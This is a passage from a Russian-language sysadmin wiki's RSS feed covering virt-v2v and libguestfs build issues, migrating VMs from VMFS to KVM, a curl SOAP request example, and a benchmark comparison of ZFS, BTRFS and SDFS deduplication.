Однако, это актуально для старых версий &lt;strong&gt;libguestfs&lt;/strong&gt;. В новых версиях (1.28 и далее) для этой цели предусмотрена опция &lt;strong&gt;–password-file&lt;/strong&gt;.
&lt;/p&gt;

&lt;p&gt;
При импорте возникает ошибка:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;ошибка: Не удалось определить домен на основе /tmp/v2vlibvirtbe6ed8.xml
ошибка: internal error unknown disk type &amp;#039;volume&amp;#039;&lt;/pre&gt;

&lt;p&gt;
Судя по всему эта ошибка связана с устаревшей версией virt-v2v. В репозиториях CentOS 7_15.11 лежит версия 1.28, а эта ошибка поправлена в 1.30.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0412\u0441\u044f\u043a\u0438\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 virt-v2v&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0432\u0441\u044f\u043a\u0438\u0435_\u043e\u0448\u0438\u0431\u043a\u0438_virt-v2v&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;3407-4704&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit5&quot; id=&quot;сборка_свежей_версии_libguestfs&quot;&gt;Сборка свежей версии libguestfs&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Поэтому возвращаемся на ubuntu 14.04 и собираем текущую версию libguestfs-tools.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get update &amp;amp;&amp;amp; sudo apt-get upgrade &amp;amp;&amp;amp; sudo apt-get install nano build-essential qemu alien flex bison
cd ~
wget https://fedorapeople.org/groups/virt/virtio-win/repo/stable/virtio-win-0.1.126-2.noarch.rpm
sudo alien -i ./virtio-win-0.1.126-2.noarch.rpm
wget http://libguestfs.org/download/supermin/supermin-5.1.17.tar.gz
tar -xvf ./supermin-5.1.17.tar.gz 
cd supermin-5.1.17/
sudo apt-get build-dep supermin
./configure 
make
sudo make install
cd ~
wget http://libguestfs.org/download/1.34-stable/libguestfs-1.34.3.tar.gz
tar -xvf ./libguestfs-1.34.3.tar.gz 
cd libguestfs-1.34.3/&lt;/pre&gt;

&lt;p&gt;
Включаем в &lt;strong&gt;/etc/apt/sources.list&lt;/strong&gt; репозитории &lt;strong&gt;src&lt;/strong&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get update &amp;amp;&amp;amp; sudo apt-get build-dep libguestfs
./configure 
make
sudo make check&lt;/pre&gt;

&lt;p&gt;
ВНИМАНИЕ! Дальше &lt;strong&gt;make install&lt;/strong&gt; делать не нужно. Запускаем так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;./run ./v2v/virt-v2v --version&lt;/pre&gt;

&lt;p&gt;
На &lt;strong&gt;ubuntu 14.04&lt;/strong&gt; неудачно.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0421\u0431\u043e\u0440\u043a\u0430 \u0441\u0432\u0435\u0436\u0435\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 libguestfs&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0441\u0431\u043e\u0440\u043a\u0430_\u0441\u0432\u0435\u0436\u0435\u0439_\u0432\u0435\u0440\u0441\u0438\u0438_libguestfs&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:5,&amp;quot;range&amp;quot;:&amp;quot;4705-5874&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit6&quot; id=&quot;вариант_переноса_машин_непосредственно_с_тома_vmfs&quot;&gt;Вариант переноса машин непосредственно с тома vmfs&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Я заменю &lt;strong&gt;ESXi&lt;/strong&gt; на &lt;strong&gt;ubuntu+kvm&lt;/strong&gt;, подмонтирую том &lt;strong&gt;VMFS&lt;/strong&gt; с виртуальными машинами, перенесу данные на нативный том &lt;strong&gt;ext4&lt;/strong&gt; и импортирую виртуальные машины в конфигурацию &lt;strong&gt;libvirt&lt;/strong&gt;.
На первый диск вместо &lt;strong&gt;ESXi&lt;/strong&gt; устанавливаем &lt;strong&gt;linux&lt;/strong&gt;, в моем случае - &lt;strong&gt;Ububntu Server 16.04&lt;/strong&gt;. После установки ставим на него все что нужно для хоста KVM и для переноса виртуальных машин.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install qemu-kvm libvirt-bin ubuntu-vm-builder bridge-utils virt-goodies vmfs-tools&lt;/pre&gt;

&lt;p&gt;
Теперь можно монтировать том VMFS:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo mkdir /mnt/vmfs
sudo vmfs-fuse /dev/cciss/c0d1p1 /mnt/vmfs/&lt;/pre&gt;

&lt;p&gt;
Проверяем, что том смонтировался:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo ls /mnt/vmfs&lt;/pre&gt;

&lt;p&gt;
В выводе будет список папок с виртуальными машинами. Образы дисков VMDK поддерживаются без конвертации. Просто копируем их в новое мостоположение:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo rsync -avP /mnt/vmfs/ /mnt/vm_images/&lt;/pre&gt;

&lt;p&gt;
Теперь нужно конвертировать файлы &lt;strong&gt;vmx&lt;/strong&gt; в &lt;strong&gt;xml&lt;/strong&gt;. Для этого писпользуем утилиту &lt;strong&gt;vmware2libvirt&lt;/strong&gt; из пакета &lt;strong&gt;virt-goodies&lt;/strong&gt;:  
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;vmware2libvirt -f &amp;lt;source.vmx&amp;gt; &amp;gt; target.xml
virsh -c qemu:///system define file.xml&lt;/pre&gt;

&lt;p&gt;
Скрипт оказался непригоден. 
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0412\u0430\u0440\u0438\u0430\u043d\u0442 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0430 \u043c\u0430\u0448\u0438\u043d \u043d\u0435\u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u0441 \u0442\u043e\u043c\u0430 vmfs&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0432\u0430\u0440\u0438\u0430\u043d\u0442_\u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0430_\u043c\u0430\u0448\u0438\u043d_\u043d\u0435\u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u043e_\u0441_\u0442\u043e\u043c\u0430_vmfs&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:6,&amp;quot;range&amp;quot;:&amp;quot;5875-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>curl_soap</title>
            <link>https://wiki.autosys.tk/linux_faq/curl_soap</link>
            <description>
&lt;p&gt;
&lt;a href=&quot;http://yapro.ru/article/6517&quot; class=&quot;urlextern&quot; title=&quot;http://yapro.ru/article/6517&quot; rel=&quot;ugc nofollow&quot;&gt;http://yapro.ru/article/6517&lt;/a&gt;
&lt;/p&gt;

&lt;h1 class=&quot;sectionedit1&quot; id=&quot;как_выполнить_soap-запрос_с_помощью_curl&quot;&gt;Как выполнить Soap-запрос с помощью curl&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Нужно сформировать сам запрос в виде &lt;strong&gt;xml&lt;/strong&gt;, затем - выполнить запрос, указав в заголовках необходимые поля. &lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;curl -u login:password --header &amp;quot;Content-Type: text/xml;charset=UTF-8&amp;quot; --header &amp;quot;SOAPAction:sky:GetServiceLis&amp;quot; --data @request.txt http://host/erp/ws/skynet&lt;/pre&gt;

&lt;p&gt;
Тут:
&lt;/p&gt;
&lt;ul&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 &lt;strong&gt;-u login:password&lt;/strong&gt; - это данные для авторизации на сервере, к которому мы обращаемся
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 &lt;strong&gt;–header “Content-Type: text/xml;charset=UTF-8”&lt;/strong&gt; - устанавливаем тип содержимого запроса
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 &lt;strong&gt;–header “SOAPAction:sky:GetServiceLis”&lt;/strong&gt; - задаем неймспейс &lt;strong&gt;sky&lt;/strong&gt; (URN - Uniform Resource Name) и имя метода &lt;strong&gt;GetServiceLis&lt;/strong&gt;
&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;p&gt;
А в файле &lt;strong&gt;request.txt&lt;/strong&gt; будет что-то такое:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;    &amp;lt;soap:Envelope xmlns:soap=&amp;quot;http://www.w3.org/2003/05/soap-envelope&amp;quot; xmlns:sky=&amp;quot;mytest-erp/skynet&amp;quot; xmlns:glob=&amp;quot;mytest-erp/Global&amp;quot;&amp;gt;
       &amp;lt;soap:Header/&amp;gt;
       &amp;lt;soap:Body&amp;gt;
          &amp;lt;sky:GetServiceLis&amp;gt;
             &amp;lt;sky:parameters&amp;gt;
                &amp;lt;glob:OnlyChanged&amp;gt;false&amp;lt;/glob:OnlyChanged&amp;gt;
                &amp;lt;!--Optional:--&amp;gt;
                &amp;lt;glob:MaximumObjectsInResult&amp;gt;100&amp;lt;/glob:MaximumObjectsInResult&amp;gt;
             &amp;lt;/sky:parameters&amp;gt;
          &amp;lt;/sky:GetServiceLis&amp;gt;
       &amp;lt;/soap:Body&amp;gt;
    &amp;lt;/soap:Envelope&amp;gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041a\u0430\u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c Soap-\u0437\u0430\u043f\u0440\u043e\u0441 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e curl&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043a\u0430\u043a_\u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c_soap-\u0437\u0430\u043f\u0440\u043e\u0441_\u0441_\u043f\u043e\u043c\u043e\u0449\u044c\u044e_curl&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;31-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Fri, 11 Dec 2020 18:18:43 +0000</pubDate>
        </item>
        <item>
            <title>deduplication_win2012r2_vs_ubuntuzfs</title>
            <link>https://wiki.autosys.tk/linux_faq/deduplication_win2012r2_vs_ubuntuzfs</link>
            <description>
&lt;p&gt;
Сравнение дедупликации &lt;strong&gt;Windows 2012 R2&lt;/strong&gt;, &lt;strong&gt;ZFS&lt;/strong&gt;, &lt;strong&gt;BTRFS&lt;/strong&gt; и &lt;strong&gt;SDFS&lt;/strong&gt; на базе &lt;strong&gt;Ubuntu 16.04&lt;/strong&gt;
&lt;/p&gt;

&lt;h1 class=&quot;sectionedit1&quot; id=&quot;условия_тестирования&quot;&gt;Условия тестирования&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
К виртуальным машинам на базе  &lt;strong&gt;Windows 2012 R2&lt;/strong&gt; и  &lt;strong&gt;Ubuntu 16.04&lt;/strong&gt; прицеплены диски &lt;strong&gt;50Gb&lt;/strong&gt;. &lt;br/&gt;

В &lt;strong&gt;Windows 2012 R2&lt;/strong&gt; просто создан том и включена дедупликация. &lt;br/&gt;

В &lt;strong&gt;Ubuntu&lt;/strong&gt; включаются различные варианты настроек файловых систем. &lt;br/&gt;

После этого тома заполняются одинаковым набором данных - архивы и дистрибутивы. То есть типичная файлопомойка. 
На &lt;strong&gt;BTRFS&lt;/strong&gt; дедупликация выполняется после записи данных с помощью &lt;strong&gt;duperemove&lt;/strong&gt;. 
&lt;br/&gt;

&lt;br/&gt;

Если отдельно не указано - на всех файловых системах используются дефолтные настройки.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0423\u0441\u043b\u043e\u0432\u0438\u044f \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0443\u0441\u043b\u043e\u0432\u0438\u044f_\u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;129-1058&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;zfs_deduplication&quot;&gt;ZFS + deduplication&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Перед заполнением данными на &lt;strong&gt;ZFS&lt;/strong&gt; включена дедупликация со сжатием:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;zfs set compression=on zroot
zfs set dedup=on zroot&lt;/pre&gt;
&lt;pre class=&quot;code&quot;&gt;sudo zfs get used,available,logicalused testdedup
NAME       PROPERTY     VALUE  SOURCE
testdedup  used         47.1G  -
testdedup  available    4.65G  -
testdedup  logicalused  47.0G  -

df -h
Filesystem    Size  Used Avail Use% Mounted on
testdedup     52G   47G  4.7G  91% /testdedup&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;ZFS + deduplication&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;zfs_deduplication&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;1059-1579&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;zfs_deduplication_compression&quot;&gt;ZFS + deduplication + compression&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;sudo zfs get used,available,logicalused testdedup
NAME       PROPERTY     VALUE  SOURCE
testdedup  used         44.0G  -
testdedup  available    6.96G  -
testdedup  logicalused  46.4G  -

df -h
Filesystem  Size  Used Avail Use% Mounted on
testdedup   51G   44G  7.0G  87% /testdedup&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;ZFS + deduplication + compression&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;zfs_deduplication_compression&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;1580-1924&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit4&quot; id=&quot;zfs_deduplication_recordsize_4k&quot;&gt;ZFS + deduplication, recordsize=4k&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;sudo zfs set dedup=on testdedup
sudo zfs set recordsize=4k testdedup&lt;/pre&gt;

&lt;p&gt;
Производительность на запись упала очень сильно. С &lt;strong&gt;recordsize=4k&lt;/strong&gt; ZFS как файлопомойка не эффективна.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;ZFS + deduplication, recordsize=4k&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;zfs_deduplication_recordsize_4k&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;1925-2221&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit5&quot; id=&quot;zfs_deduplication_compression_recordsize_64k&quot;&gt;ZFS + deduplication + compression , recordsize=64k&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;sudo zfs set dedup=on testdedup
sudo zfs set compress=on testdedup
sudo zfs set recordsize=64k testdedup&lt;/pre&gt;

&lt;p&gt;
Результат:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo zfs get used,available,logicalused,compressratio testdedup
NAME       PROPERTY       VALUE  SOURCE
testdedup  used           44.1G  -
testdedup  available      6.85G  -
testdedup  logicalused    46.4G  -
testdedup  compressratio  1.05x  -

df -h
Filesystem  Size  Used Avail Use% Mounted on
testdedup   51G   44G  6.9G  87% /testdedup&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;ZFS + deduplication + compression , recordsize=64k&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;zfs_deduplication_compression_recordsize_64k&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:5,&amp;quot;range&amp;quot;:&amp;quot;2222-2772&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit6&quot; id=&quot;btrfs_duperemove_v011beta4&quot;&gt;BTRFS + duperemove v0.11.beta4&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Связка &lt;strong&gt;BTRFS&lt;/strong&gt; + &lt;strong&gt;duperemove&lt;/strong&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo btrfs filesystem df -h /mnt
Data, single: total=48.73GiB, used=43.96GiB
System, single: total=4.00MiB, used=16.00KiB
Metadata, single: total=264.00MiB, used=56.44MiB
GlobalReserve, single: total=32.00MiB, used=0.00B

df -h
Filesystem  Size  Used Avail Use% Mounted on
/dev/xvdb   50G   45G  5.8G  89% /mnt&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;BTRFS + duperemove v0.11.beta4&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;btrfs_duperemove_v011beta4&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:3,&amp;quot;secid&amp;quot;:6,&amp;quot;range&amp;quot;:&amp;quot;2773-3185&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit7&quot; id=&quot;btrfs_compress-force_zlib_duperemove_v011beta4&quot;&gt;BTRFS + compress-force=zlib + duperemove v0.11.beta4&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
&lt;strong&gt;BTRFS&lt;/strong&gt; смонтирован с опцией &lt;strong&gt;compress-force&lt;/strong&gt;, дедупликация выполнена &lt;strong&gt;duperemove&lt;/strong&gt;.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo btrfs filesystem df -h /mnt
System, single: total=4.00MiB, used=12.00KiB
Data+Metadata, single: total=45.01GiB, used=40.50GiB
GlobalReserve, single: total=512.00MiB, used=0.00B

df -h
Filesystem   Size  Used Avail Use% Mounted on
/dev/xvdb    50G   42G  9.5G  82% /mnt&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;BTRFS + compress-force=zlib + duperemove v0.11.beta4&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;btrfs_compress-force_zlib_duperemove_v011beta4&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:4,&amp;quot;secid&amp;quot;:7,&amp;quot;range&amp;quot;:&amp;quot;3186-3671&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit8&quot; id=&quot;ext4_sdfs_default_settings&quot;&gt;ext4 + SDFS default settings&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;wget http://www.opendedup.org/downloads/sdfs-latest.deb
sudo dpkg -i sdfs-latest.deb
sudo apt-get -f install 
sudo su
sudo mkfs.ext4 /dev/xvdb
sudo mkdir --parents /opt/sdfs/
sudo mount /dev/xvdb /opt/sdfs/&lt;/pre&gt;

&lt;p&gt;
Вот объем незанятного места:  
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;df -h

Filesystem   Size  Used Avail Use% Mounted on
/dev/xvdb    50G   52M   47G   1% /opt/sdfs&lt;/pre&gt;

&lt;p&gt;
Создаем том:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo mkfs.sdfs --volume-name=pool0 --volume-capacity=50GB
sudo mount.sdfs pool0 /mnt&lt;/pre&gt;

&lt;p&gt;
Настройки по-умолчанию получились такие:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;io chunk-size=&amp;quot;256&amp;quot; 
dedup-files=&amp;quot;true&amp;quot;
hash-type=&amp;quot;VARIABLE_MURMUR3&amp;quot;&lt;/pre&gt;

&lt;p&gt;
&lt;strong&gt;hash-type=“VARIABLE_MURMUR3”&lt;/strong&gt; означает, что используется переменный размер блока для дедупликации, вычисляемый автоматически.
&lt;/p&gt;

&lt;p&gt;
Вот результаты после заливки файлов:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;df -h
Filesystem                                  Size  Used Avail Use% Mounted on
/dev/xvdb                                   50G   41G  6.2G  87% /opt/sdfs
sdfs:/etc/sdfs/pool0-volume-cfg.xml:6442    51G   39G   12G  77% /mnt&lt;/pre&gt;

&lt;p&gt;
И статистика по тому:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sdfscli --volume-info
Files : 3578
Volume Capacity : 50 GB
Volume Current Logical Size : 46.84 GB
Volume Max Percentage Full : 95.0%
Volume Duplicate Data Written : 8.76 GB
Unique Blocks Stored: 38.3 GB
Unique Blocks Stored after Compression : 38.4 GB
Cluster Block Copies : 2
Volume Virtual Dedup Rate (Unique Blocks Stored/Current Size) : 18.22%
Volume Actual Storage Savings (Compressed Unique Blocks Stored/Current Size) : 18.02%
Compression Rate: -0.25% &lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;ext4 + SDFS default settings&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;ext4_sdfs_default_settings&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:5,&amp;quot;secid&amp;quot;:8,&amp;quot;range&amp;quot;:&amp;quot;3672-5390&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit9&quot; id=&quot;btrfs_compression_zlib_sdfs&quot;&gt;BTRFS + compression=zlib + SDFS&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Данные SDFS размещены на томе &lt;strong&gt;BTRFS&lt;/strong&gt;, на котором включена компрессия &lt;strong&gt;zlib&lt;/strong&gt;. &lt;br/&gt;

&lt;strong&gt;SDFS&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;io chunk-size=&amp;quot;256&amp;quot; 
dedup-files=&amp;quot;true&amp;quot;
hash-type=&amp;quot;VARIABLE_MURMUR3&amp;quot;&lt;/pre&gt;
&lt;pre class=&quot;code&quot;&gt;df -h
Filesystem                                 Size  Used Avail Use% Mounted on
/dev/xvdb                                   50G   37G   13G  75% /opt/sdfs
sdfs:/etc/sdfs/pool0-volume-cfg.xml:6442    51G   39G   12G  77% /mnt&lt;/pre&gt;
&lt;pre class=&quot;code&quot;&gt;sdfscli --volume-info
Files : 3578
Volume Capacity : 50 GB
Volume Current Logical Size : 46.84 GB
Volume Max Percentage Full : 95.0%
Volume Duplicate Data Written : 8.76 GB
Unique Blocks Stored: 38.3 GB
Unique Blocks Stored after Compression : 38.4 GB
Cluster Block Copies : 2
Volume Virtual Dedup Rate (Unique Blocks Stored/Current Size) : 18.22%
Volume Actual Storage Savings (Compressed Unique Blocks Stored/Current Size) : 18.02%
Compression Rate: -0.25%&lt;/pre&gt;

&lt;p&gt;
Производительность:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;dd if=/dev/zero of=/mnt/TEST.ZERO bs=16384
1478190+0 records in
1478190+0 records out
24218664960 bytes (24 GB, 23 GiB) copied, 148.419 s, 163 MB/s

Tasks: 586 total,   2 running, 584 sleeping,   0 stopped,   0 zombie
%Cpu(s): 43.3 us, 34.3 sy,  0.0 ni, 21.8 id,  0.0 wa,  0.0 hi,  0.2 si,  0.4 st
KiB Mem :  4037716 total,  2282464 free,   874880 used,   880372 buff/cache
KiB Swap:  1171452 total,  1154028 free,    17424 used.  3067036 avail Mem 

  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND                                                                                                                                                      
24084 root      20   0 3943336 768132  23104 S 141.4 19.0   4:29.02 jsvc                                                                                                                                                         
24251 root      20   0    7332    696    620 R  15.1  0.0   0:19.55 dd                                                                                                                                                           
24342 user      20   0   42348   4108   3132 R   0.7  0.1   0:00.09 top &lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;BTRFS + compression=zlib + SDFS&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;btrfs_compression_zlib_sdfs&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:6,&amp;quot;secid&amp;quot;:9,&amp;quot;range&amp;quot;:&amp;quot;5391-7621&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit10&quot; id=&quot;btrfs_sdfs_sdfs_compression_lz4&quot;&gt;BTRFS + SDFS + sdfs compression LZ4&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;sudo mkfs.sdfs --volume-name=pool0 --volume-capacity=50GB --chunk-store-compress=true --compress-metadata=true
sudo mount.sdfs pool0 /mnt&lt;/pre&gt;

&lt;p&gt;
После заливки файлов:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;df -h
Filesystem                                 Size  Used Avail Use% Mounted on
/dev/xvdb                                   50G   38G   12G  77% /opt/sdfs
sdfs:/etc/sdfs/pool0-volume-cfg.xml:6442    51G   37G   14G  74% /mnt


sdfscli --volume-info
Files : 3578
Volume Capacity : 50 GB
Volume Current Logical Size : 46.84 GB
Volume Max Percentage Full : 95.0%
Volume Duplicate Data Written : 8.76 GB
Unique Blocks Stored: 38.3 GB
Unique Blocks Stored after Compression : 36.9 GB
Cluster Block Copies : 2
Volume Virtual Dedup Rate (Unique Blocks Stored/Current Size) : 18.22%
Volume Actual Storage Savings (Compressed Unique Blocks Stored/Current Size) : 21.21%
Compression Rate: 3.65%&lt;/pre&gt;

&lt;p&gt;
Производительность:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;dd if=/dev/zero of=/mnt/TEST.ZERO bs=16384
497921+0 records in
497921+0 records out
8157937664 bytes (8.2 GB, 7.6 GiB) copied, 52.3913 s, 156 MB/s

Tasks: 582 total,   2 running, 580 sleeping,   0 stopped,   0 zombie
%Cpu(s): 47.4 us, 34.0 sy,  0.0 ni, 16.4 id,  0.0 wa,  0.0 hi,  0.0 si,  2.2 st
KiB Mem :  4037716 total,   206404 free,  1101492 used,  2729820 buff/cache
KiB Swap:  1171452 total,  1152020 free,    19432 used.  2839380 avail Mem 

  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND                                                                                                                                                      
20824 root      20   0 4020188 1.226g 319568 S 151.3 31.8  20:51.12 jsvc                                                                                                                                                         
23450 root      20   0    7332    688    616 R  15.2  0.0   0:02.28 dd                                                                                                                                                           
23487 user      20   0   42348   3996   3020 R   0.3  0.1   0:00.07 top &lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;BTRFS + SDFS + sdfs compression LZ4&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;btrfs_sdfs_sdfs_compression_lz4&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:8,&amp;quot;secid&amp;quot;:10,&amp;quot;range&amp;quot;:&amp;quot;7622-9814&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit11&quot; id=&quot;btrfs_sdfs_-_no_compression&quot;&gt;BTRFS + SDFS - no compression&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
После заливки файлов:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;df -h
Filesystem                                 Size  Used Avail Use% Mounted on
/dev/xvdb                                   50G   41G  9.6G  81% /opt/sdfs
sdfs:/etc/sdfs/pool0-volume-cfg.xml:6442    51G   39G   12G  77% /mnt


